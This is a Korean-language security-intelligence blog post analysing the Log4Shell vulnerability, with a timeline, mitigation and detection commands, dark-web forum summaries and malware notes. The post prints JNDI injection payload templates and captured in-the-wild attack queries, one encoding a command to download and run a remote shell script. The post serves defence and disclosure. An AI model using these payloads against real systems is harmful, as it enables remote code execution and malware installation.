S2W BLOG
Published in

S2W BLOG

Logs of Log4shell (CVE-2021–44228): log4j is ubiquitous [KR]

Author: TALON | S2W
Last Modified: 12/13/2021

Photo by NASA on Unsplash

Executive Summary

자바 로깅을 위해 사용되는 라이브러리 log4j에서 발견된 취약점 정보가 공개되어 관련된 내용을 분석 하였음. 본 보고서는 취약점 관련 다크웹 내 게시물, 국내외 대응 현황 등 전반적인 내용을 포함하고 있으며, 별도 취약점 분석 보고서는 Xarvis 솔루션을 통해 고객사 전용으로 전달되었음.

취약점 정보 (CVE-2021–44228)

Log4shell 관련 타임라인 (요약 버전)

  • (2021.12.09.) log4j 0day 취약점 정보가 트위터에 공개됨
  • (2021.12.09.) Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package
  • (2021.12.10.) Apple, Amazon, Cloudflare, Minecraft, Steam, Tesla, Twitter, Baidu 등 해당 취약점에 영향 받는 서비스들의 보안 권고문 공지
  • (2021.12.11.) Alibaba Cloud Security에서 11월에 해당 취약점을 제보했다고 트위터 상에 언급
  • (2021.12.12. 기준) 151개 벤더에서 관련 보안 권고문을 공지

시사점

  • 소프트웨어 취약점은 언제든 발생할 수 있으며 log4j와 같이 널리 사용되는 오픈소스를 사용하는 경우, 잠재적인 취약점 발생 시 이를 대비하기 위한 사전 준비 필요
  • 내부 자산에서 사용하는 서비스 등에 대한 주기적인 자산 식별이 필요

취약점을 악용하여 유포되는 악성코드 및 공격

  • 패치되지 않은 취약점 정보를 악용하여 Mirai, Kinsing, Muhstik 악성코드 유포 사례가 알려짐
  • 이 외에도 단순 공격 시도가 지속적으로 발생되고 있음

DDW 상에서 언급된 log4j 취약점 관련 게시글

  • Tencent Cloud, Alibaba Cloud 의 유출 정보를 업로드 한 유저가 중국 관련 기업을 공격할때 log4j 취약점을 수차례 사용하였다는 내용이 다크웹 포럼 상에서 언급

Actionable Items (Appendix)

  • Appendix.A : log4j RCE 공격탐지 방법 및 공개된 탐지도구 목록
  • Appendix.B : 취약점을 악용한 공격 및 악성코드 관련 IoC 정보
  • Appendix.C : Detection ruleset (Yara, Snort, Sigma)
  • Appendix.D : 영향받는 서비스 정보
  • Appendix.E : 서비스 벤더 보안 권고문 정보 (151개, 2021.12.12. 기준)
  • Appendix.F : Deep & Dark Web 상에 언급된 게시글 현황

Summary of CVE-2021–44228 (Log4shell)

  • log4j는 오픈소스 자바 로깅 라이브러리로 자바로 구동되는 대부분의 프로젝트에서 사용 중
  • 해당 취약점에 영향을 받는 버전 : Apache log4j 2.0 ~ 2.14.1
  • 영향 받는 버전을 사용하는 경우, Appendix.A : log4j RCE 공격 탐지 방법 참고

취약점 트리거 방법 간략 정리

1) ${jndi:ldap://[ATTACKER_SERVER/MALICIOUS_CLASS}를 넣은 페이로드를 request로 전송
2) 서버에서 JNDI 인터페이스에 명시된 request 생성
3) 공격자는 해당 request에 공격용 자바 클래스를 업로드하여 공격 수행 가능

공격 패킷 예시

Example of the attack packet
Example of the attack packet

취약점 대응 방안

1) log4j 2.15.0 또는 2.15.0-RC2 버전으로 업데이트

다운로드 주소
https://logging.apache.org/log4j/2.x/download.html

2) 2.10.0 이상의 버전에서는 formatMsgNoLookups 속성을 True로 설정

실행 명령어
echo “export LOG4J_FORMAT_MSG_NO_LOOKUPS=true” >> /etc/profile.d/blockzero.sh

3) 2.10.0 미만 버전은 로그 문자열 패턴 변경 또는 JndiLookup 클래스를 경로에서 제거

실행 명령어
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

관련 동향 및 히스토리

  • (2013.07.17.) 취약점이 발생하게 된 코드 업데이트 [1]
  • (2021.11.26.) Mitre CVE 등록 [2]
  • (2021.11.29.) 취약점 관련 Jira 티켓 생성 [3]
  • (2021.11.30.) Github 저장소에서 패치작업 시작 [4]
  • (2021.12.01.) Log4shell 취약점을 이용한 공격 사례 발견됨 (by Cloudflare)
  • (2021.12.05.) 패치 커밋 [5]
  • (2021.12.06.) 패치 발표 [6]
  • (2021.12.09.) PoC 공개
    https://www.lunasec.io/docs/blog/log4j-zero-day/ [7]
  • (2021.12.10.) 마인크래프트 대상 공격 탐지 [8]
  • (2021.12.10.) Apple, Amazon, Cloudflare, Minecraft, Steam, Tesla, Twitter, Baidu 등 다양한 서비스들이 해당 취약점에 영향을 받는다고 함. [9]
  • (2021.12.11.) Alibaba Cloud Security에서 11월에 해당 취약점을 제보했다고 함. [10]
  • (2021.12.12. 기준) 151개 벤더 관련 보안 권고문 공지 — Appendix.E 참고

12월 6일 발표된 패치의 불완전함으로 인해 12월 10일 업데이트된 패치 재배포

Timeline of CVE-2021–44228

시사점

그림 출처 : https://xkcd.com/2347/

오픈소스의 특성

  • 많은 상용 서비스에 활용되었으나, 3~4명 정도되는 오픈소스 기여자에 의해 운영되고 있는 프로젝트로 해당 라이브러리의 영향도에 비해 코드 자체에 대한 검증 및 보안이 체계적으로 이뤄지진 않는 편으로 판단됨

해당 취약점에 사용된 JNDI Injection 공격 기법은 2016년 블랫햇에서 발표된 바 있음 [12]

1) 공격자는 공격자의 Naming/Directory 서비스에 페이로드를 바인딩

2) 취약한 JNDI lookup method 에 URL을 인젝션

3) 애플리케이션에서 Lookup 수행

4) 해당 애플리케이션은 공격자가 제어 가능한 Naming/Directory 서비스에 연결됨

5) 최종적으로 애플리케이션에서 응답값을 디코드하고 페이로드를 트리거

내부 자산 식별에 대한 필요성

  • 이와 같은 오픈소스 프로젝트를 사용하는 자산에 대한 식별은 상용 소프트웨어 및 서비스를 도입하는 것과 달리 누락 및 이슈트래킹 관리가 잘 되고 있지 않은 문제가 있음

사전 준비 필요

  • 소프트웨어 취약점은 항시 발생 가능하며 log4j와 같이 다양한 프로젝트 및 구현물에서 널리 사용되는 오픈소스를 사용하는 경우, 잠재적인 취약점 발생 시 이를 대비하기 위한 사전 준비 필요
  • 내부 자산에서 사용하는 서비스 등에 대한 주기적인 확인 필요
  • 특정 오픈소스 사용에 대한 트랙킹 및 내부 취약 코드 알림 등을 자동화 해 둘 필요가 있음

Related Malware

아래 악성코드와 관련된 상세 IoC 정보는 Appendix.B 참고

1. 다운로드 명령어

  • CVE-2021–44228 취약점 공격을 통해 2가지 유형으로 악성코드 유포 정황 확인
  • ${jndi:ldap://[ATTACKER_SERVER]/Basic/Command/Base64/[BASE64_CODE]
공격 쿼리 예시
${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
  • ${jndi:ldap://[ATTACKER_SERVER]/[MALICIOUS_CLASS]
공격 쿼리 예시
${jndi:ldap://45.83.193.150:1389/Exploit}

2. 유포된 악성코드 유형

Mirai 악성코드

  • Mirai 악성코드는 2016년도 최초로 유포되었으며, IoT 기기 대상으로 유포되는 봇넷 악성코드
  • 감염된 시스템에서 C&C 서버로부터 명령을 받아 수행하며, 주로 DDoS 공격에 악용됨

Kinsing 악성코드

  • Kinsing 악성코드는 Miner를 유포하는 Golang 기반 악성코드
  • 취약한 Docker를 타겟으로 악성코드를 유포하던 사례 존재
  • 감염된 시스템에 Monero miner 설치 및 내부에 악성코드를 전파하는 웜(Worm) 기능 수행

Muhstik 악성코드

  • Muhstik 악성코드는 IoT 기기 및 서버를 대상으로 Miner를 유포하는 악성코드
  • Monero miner를 설치하고 IRC 서버로부터 명령을 받아 악성행위 수행

Trending posts on Deep & Dark Web

Deep & Dark Web 상에서 언급된 log4j 관련 게시글 상세내용은 Appendix.F 참고

1. Apache log4j 취약점 및 PoC 코드 공유

(2021.12.10.) Raidforums의 OO00O0OO0는 Apache log4j 관련 취약점의 범위와 예상되는 피해의 정도는 2017년 이터널 블루 이슈와 유사하다고 언급함.

  • 해당 취약점을 악용해서 공격 대상의 서버를 원격으로 제어할 수 있다는 내용과 함께 Java기반으로 개발된 어플리케이션 플랫폼의 90% 이상이 영향을 받는다고 언급함.

(2021.12.10.) XSS의 Lipshitz는 마인크래프트 서버와 많은 버전의 Apache가 CVE-2021–44228 의 영향을 받는다는 내용과 함께 취약점 정보 공유를 위한 스레드를 작성함.

  • (2021.12.10.) XSS의 Kelegen은 현재 공격 가능한 제품과 서비스에 대한 정보를 게시한 GitHub 링크[13]를 공유함.

(2021.12.10.) RAMP의 Moderator인 Nowheretogo는 log4j에 대한 설명과 함께 2021년 12월 9일부터 CVE-2021–40228 취약점이 악용되고 있으며, log4j-2에 JNDI 취약점이 존재한다는 사실을 언급함.

  • (2021.12.11.) RAMP의 l1nux가 VMWare vCenter에서 취약점이 동작한다는 내용과 함께 Twitter 상[14]에서 공개된 동작 결과를 공유함.
  • (2021.12.11.) RAMP의 varwar가 Ghidra에서도 취약점이 동작한다는 내용과 함께 Twitter 상에서 공개된 동작 결과를 공유[15]하였으며, 해당 댓글에 l1nux가 현재는 패치되어 동작하지 않는다는 내용을 언급함.

2. 공격 활용 사례 공유

(2021.12.10.) Raidforums에서 Tencent Cloud, Alibaba Cloud 관련 유출 정보를 업로드하였던 AgainstTheWest가 중국 관련 기업을 공격할때 log4j 취약점을 수차례 사용하였다는 내용을 언급

(2021.12.11.) XSS의 PwnSec은 새로운 0day RCE 취약점에 대한 정보를 공유하는 텔레그램 채널과 함께 CVE-2021–44228 의 PoC 코드가 포함되어 있는 GitHub 링크[16]를 공유

  • 게시글 작성자가 공유하고 있는 텔레그램 채널을 확인한 결과, PoC 코드에 대한 정보와 함께 icloud, Tesla, Amazon (CN), Baidu, Linkedin, Cloudflare, Twitter, Minecraft, Elastic 관련 서비스에서 PoC 코드를 테스트한 인증샷을 공유

Appendix : Actionable Items

Appendix.A : log4j RCE 공격탐지 방법 및 공개된 탐지도구 목록

/var/log 경로에서 탐지 방법 : 기본 명령어

압축되어 있지 않은 경우
sudo egrep -I -i -r ‘\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+’ /var/log
압축되어 있는 경우
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns):/[^\n]+'

/var/log 경로에서 탐지 방법 : 난독화 또는 변형된 명령어

압축되어 있지 않은 경우
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns):'" \;
압축되어 있는 경우
sudo find /var/log/ -name "*.log.gz" -type f -exec sh -c "zcat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;

해당 취약점에 노출되어 있는 S/W 확인 명령어

윈도우 : 파워쉘 명령어
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path
리눅스
find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

공개된 탐지도구

https://labrador.iotcube.com/scanner/LabradorLog4ShellDetector.jar

Appendix.B : IoC related with CVE-2021–44228

USER-AGENT HTTP HEADER

IP

KINSING MINING ACTIVITY

MIRAI INFECTION ACTIVITY

MUHSTICK INFECTION ACTIVITY

MIRAI INFECTION OTHER HASHES

Observed Domains

Linux Botnets (MIRAI / Muhstik)

= MIRAI =

= Muhstik =

상기 IoC 는 보고서 하단 References 내 다수의 Related IoCs 사이트를 참고하여 작성되었으며, 해당 IoC는 지속적으로 업데이트 되고 있습니다.

본 보고서 내 기재되어 있는 IoC 만을 대상으로 확인이 필요할 경우, 아래 Google Docs에서 확인 가능합니다.

Appendix.C : Detection ruleset (Yara, Snort, Sigma)

1. Yara rule

2. Snort rule (Emergingthreat Open Rules)

3. Sigma rule

Appendix.D : Affected Software & Verified (version of 2021. 12. 13.) [19]

Appendix.E : Log4Shell(CVE-2021–44228) Security Advisories

상세 권고문(URL)은 스프레드시트 참고 : [S2W] Security Advisories / Bulletins linked to Log4Shell (CVE-2021–44228)

Akamai, Apache Druid, Apache Flink, Apache LOG4J, Apache Kafka, Apache Solr, Apero CAS, APPSHEET, Aptible, Atlassian, Automox, Avaya, AWS, AZURE Datalake store java, BACKBLAZE, BitDefender, BitNami By VMware, BMC Software, Broadcom, CarbonBlack, Cerberus FTP, CheckPoint, Cisco, Citrix, CloudFlare, CPanel, CommVault, ConcreteCMS.com, Connect2id, ConnectWise, ContrastSecurity, Coralogix, CouchBase, Cybereason, Datto, Debian, Dell, Docker, Docusign, DropWizard, DynaTrace, Eclipse Foundation, Elastic, EVLLABS JGAAP, F5 Networks, F-Secure, Fastly, ForcePoint, Forescout, FusionAuth, Genesys, Ghidra, GitHub, GoAnywhere, Google Cloud Armor WAF, GrayLog, GuardedBox, HackerOne, HCL Software, Huawei, HostiFi, Imperva, Inductive Automation, Informatica, Ivanti, JAMF NATION, JazzSM DASH IBM, Jenkins, JetBrains Teamcity, JFROG, Jitsi, Kafka Connect CosmosDB, Kaseya, Keycloak, Leanix, LucentSKY, Lightbend, Macchina io, McAfee, Metabase, Microsoft, Minecraft, N-able, NELSON, NetApp, Netflix, NextGen Healthcare Mirth, Newrelic, Okta, OpenHab, OpenNMS, OpenMRS TALK, OpenSearch, Oracle, OxygenXML, Palo-Alto Networks, PaperCut, Parse.ly, Pega, Positive Technologies, Progress / IpSwitch, Pulse Secure, Puppet, Pure Storage, Qlik, Quest KACE, Red5Pro, RedHat, Revenera / Flexera, RunDeck by PagerDuty, RSA, Rubrik, SailPoint, Salesforce, SAS, Security Onion, ServiceNow, Sesam Info, Shibboleth, Skillable, SLF4J, SmileCDR, Sophos, SonarSource, SonicWall, Splunk, Spring Boot, SUSE, Sterling Order IBM, Swingset, Synopsys, Talend, Tanium, TealiumIQ, TrendMicro, Ubiquiti-UniFi-UI, USSIGNAL MSP, Veeam, Vespa ENGINE, VMware, Wallarm, WatchGuard / Secplicity, WitFoo, Wowza, WSO2, XCP-ng, Yandex-Cloud, ZAMMAD, Zaproxy, Zesty, ZSCALER

Appendix.F : Deep & Dark Web 게시글 현황

1. Raidforums

log4j, log4shell 검색 결과 (게시글 1건)

→ Apache Log4j explodes with high-risk vulnerabilities comparable to “eternal blue”, ne

  • 게시글 작성 날짜 : 2021.12.10.
  • 게시글 작성자 : OO00O0OO0

분석 내용

  • 게시글 작성자는 Apache log4j 관련 취약점의 범위와 예상되는 피해의 정도는 2017년 이터널 블루 이슈와 유사하다고 언급함.
  • 해당 취약점을 악용해서 공격 대상의 서버를 원격으로 제어할 수 있다는 내용과 함께 Java 기반으로 개발된 어플리케이션 플랫폼의 90% 이상이 영향을 받는다고 언급함.
  • Tencent Cloud, Alibaba Cloud 관련 유출 정보를 업로드하였던 포럼 유저AgainstTheWest가 중국 관련 기업을 공격할때 log4j 취약점을 수차례 사용하였다는 내용의 댓글을 작성함.

2. XSS

log4j, log4shell 검색 결과 (게시글 2건)

→ 0day Log4j RCE Vulnerability ! ( 2021–44228 )

  • 게시글 작성 날짜 : 2021.12.11.
  • 게시글 작성자 : PwnSec

분석 내용

  • 게시글 작성자가 공유하고 있는 텔레그램 채널을 확인한 결과, PoC 코드에 대한 정보와 함께 icloud, Tesla, Amazon (CN), Baidu, Linkedin, Cloudflare, Twitter, Minecraft, Elastic 관련 서비스에서 PoC 코드를 테스트한 인증샷을 공유함.

→ CVE-2021–44228 Apache log4j RCE

  • 게시글 작성 날짜 : 2021.12.11.
  • 게시글 작성자 : Lipshitz

분석 내용

(2021.12.10.) XSS의 Lipshitz는 마인크래프트 서버와 많은 버전의 Apache가 CVE-2021–44228 의 영향을 받는다는 내용과 함께 취약점 정보 공유를 위한 스레드를 작성함.

  • (2021.12.10.) XSS의 Kelegen은 현재 공격 가능한 제품과 서비스에 대한 정보를 게시한 GitHub 링크를 공유함.
  • (2021.12.12.) XSS의 Lipshitz는 Cloudflare에서 사용가능한 코드 정보를 공유함.

3. Exploit

log4j, log4shell 검색 결과 (게시글 1건)

RCE, 0-day, Log4Shell — CVE-2021–44228

  • 게시글 작성 날짜 : 2021.12.11.
  • 게시글 작성자 : Hubay43

4. RAMP

log4j, log4shell 검색 결과 (게시글 1건)

Apache Log4j 远程代码执行漏洞复现+代码审计分析+POC+EXP

(EN) Apache Log4j remote code execution vulnerability reproduction + code audit analysis + POC + EXP

  • 게시글 작성 날짜 : 2021.12.10.
  • 게시글 작성자 : Nowheretogo

분석 내용

(2021.12.10.) RAMP의 Moderator인 Nowheretogo는 log4j에 대한 설명과 함께 2021년 12월 9일부터 CVE-2021–40228 취약점이 악용되고 있으며, log4j-2에 JNDI 취약점이 존재한다는 사실을 언급함.

  • (2021.12.11.) RAMP의 l1nux가 VMWare vCenter에서 취약점이 동작한다는 내용과 함께 Twitter 상에서 공개된 동작 결과를 공유함.
https://twitter.com/tnpitsecurity/status/1469429810216771589
  • (2021.12.11.) RAMP의 varwar가 Ghidra에서도 취약점이 동작한다는 내용과 함께 Twitter 상에서 공개된 동작 결과를 공유하였으며, 해당 댓글에 l1nux가 현재는 패치되어 동작하지 않는다는 내용을 언급함.
https://twitter.com/zhuowei/status/1469186818549719042?s=20

References

Summary

Vulnerability Details

Detection Method

Related IoCs

Yara rule

Sigma rule

Affected Software

Security Advisories

--

--

S2W is a big data intelligence company specialized in the Dark Web, Deepweb and any other covert channels.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
S2W

S2W

S2W is specializing in cybersecurity data analysis for cyber threat intelligence.